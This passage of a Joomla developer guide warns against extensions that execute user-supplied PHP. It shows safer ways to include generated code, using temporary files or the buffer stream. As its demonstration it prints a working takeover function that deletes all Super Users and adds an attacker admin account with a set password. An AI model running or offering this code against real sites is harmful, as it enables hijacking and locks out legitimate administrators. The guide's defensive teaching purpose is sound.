Let me start by saying that allowing users to enter arbitrary PHP code which will be executed by the site is a VERY BAD IDEA. It is very easy for anyone with minimal developer experience —or someone following a how-to hacking guide— to take over a site. The following took me 5' to write and it's a complete takeover of a site:
![]() | Caution |
---|---|
DO NOT TRY THIS ON YOUR SITE! The following code deletes all Super Users and adds a new Super User. This is detrimental to your site. It's only meant to demonstrate how easily a site can be taken over if a developer allows arbitrary PHP execution. |
function hackMePlenty() { $user = \Joomla\CMS\Factory::getContainer() ->get(\Joomla\CMS\User\UserFactoryInterface::class) ->loadUserByUsername('drevil1234'); if ($user->username === 'drevil1234') { return; } $db = \Joomla\CMS\Factory::getContainer()->get('DatabaseDriver'); $query = $db->getQuery(true) ->select([$db->quoteName('id')]) ->from($db->quoteName('#__usergroups')); $superUserGroups = array_filter( $db->setQuery($query)->loadColumn(0) ?: [], function ($group) { return \Joomla\CMS\Access\Access::checkGroup($group, 'core.admin'); } ); $existingSuperUsers = array_unique( array_reduce( $superUserGroups, function (array $carry, int $groupId) { return array_merge($carry, \Joomla\CMS\Access\Access::getUsersByGroup($groupId)); }, [] ) ); if (!empty($existingSuperUsers)) { $query = $db->getQuery(true) ->delete($db->quoteName('#__users')) ->whereIn($db->quoteName('id'), $existingSuperUsers); $db->setQuery($query)->execute(); } $user = new \Joomla\CMS\Table\User($db); $user->save([ 'name' => 'Evil Hacker', 'username' => 'drevil1234', 'email' => 'drevil@example.com', 'password' => \Joomla\CMS\User\UserHelper::hashPassword('Dr3v!L0wnzJ00'), 'block' => 0, 'sendEmail' => 1, 'registerDate' => (new \Joomla\CMS\Date\Date('2004-08-08 01:02:03'))->toSql(), 'lastVisitDate' => (new \Joomla\CMS\Date\Date())->toSql(), 'activation' => '', 'groups' => $superUserGroups, ]); } try { hackMePlenty(); } catch (\Throwable $e) { }
For this reason, whenever I see an extension which deliberately allows PHP code to be inserted and executed I am worried. If I see this being allowed in an editor or other text entry field without checking that the data comes from a Super User I am immediately labelling the extension a massive security issue and the site compromised unless proven differently.
As a developer you should NEVER, EVER have a feature which allows
direct PHP execution. This includes this happening unintentionally by
using the evil eval()
. Also note that most hosts disable
eval()
so idiot developers won't create backdoors the size
of Alaska on the sites hosted on that host.
There are very few cases where you might want to evaluate
generated (as opposed to user
defined) PHP code. For example, when I implemented a subset
of the Blade template language in FOF I was converting Blade files to
straight up PHP. Of course, I could not run the generated code through
eval()
. The solution to that is to first try to create a
temporary file —either in Joomla's temporary directory or a cache
directory— and include()
it. If the temporary directory is
unwriteable you can use
class_exists(\Joomla\Filesystem\Buffer::class, true);
which
includes Joomla's buffer class. This registers the stream handler
buffer://
which creates a filesystem in memory. You can
write to a file in it, e.g.
file_put_contents('buffer://foobar.php', $theContents);
and
then include it like this include('buffer://foobar.php');
.
The downside with the buffer method is that on some hosts with hardened
PHP runtimes you cannot include executable files from stream wrappers
which have not been explicitly allowed by the server administrator.
Hence the need to go through the filesystem first.
As I said, you should only ever evaluate PHP code in your extensions if you have written it or if your own code has generated it. DO NOT TRUST THE USER —NOT EVEN SUPER USERS— TO PROVIDE EXECUTABLE PHP CODE THEMSELVES; IT IS A MASSIVE SECURITY ISSUE. Do you hear that, form component developers? Your extensions make it trivial to hack people's sites. Fix 'em!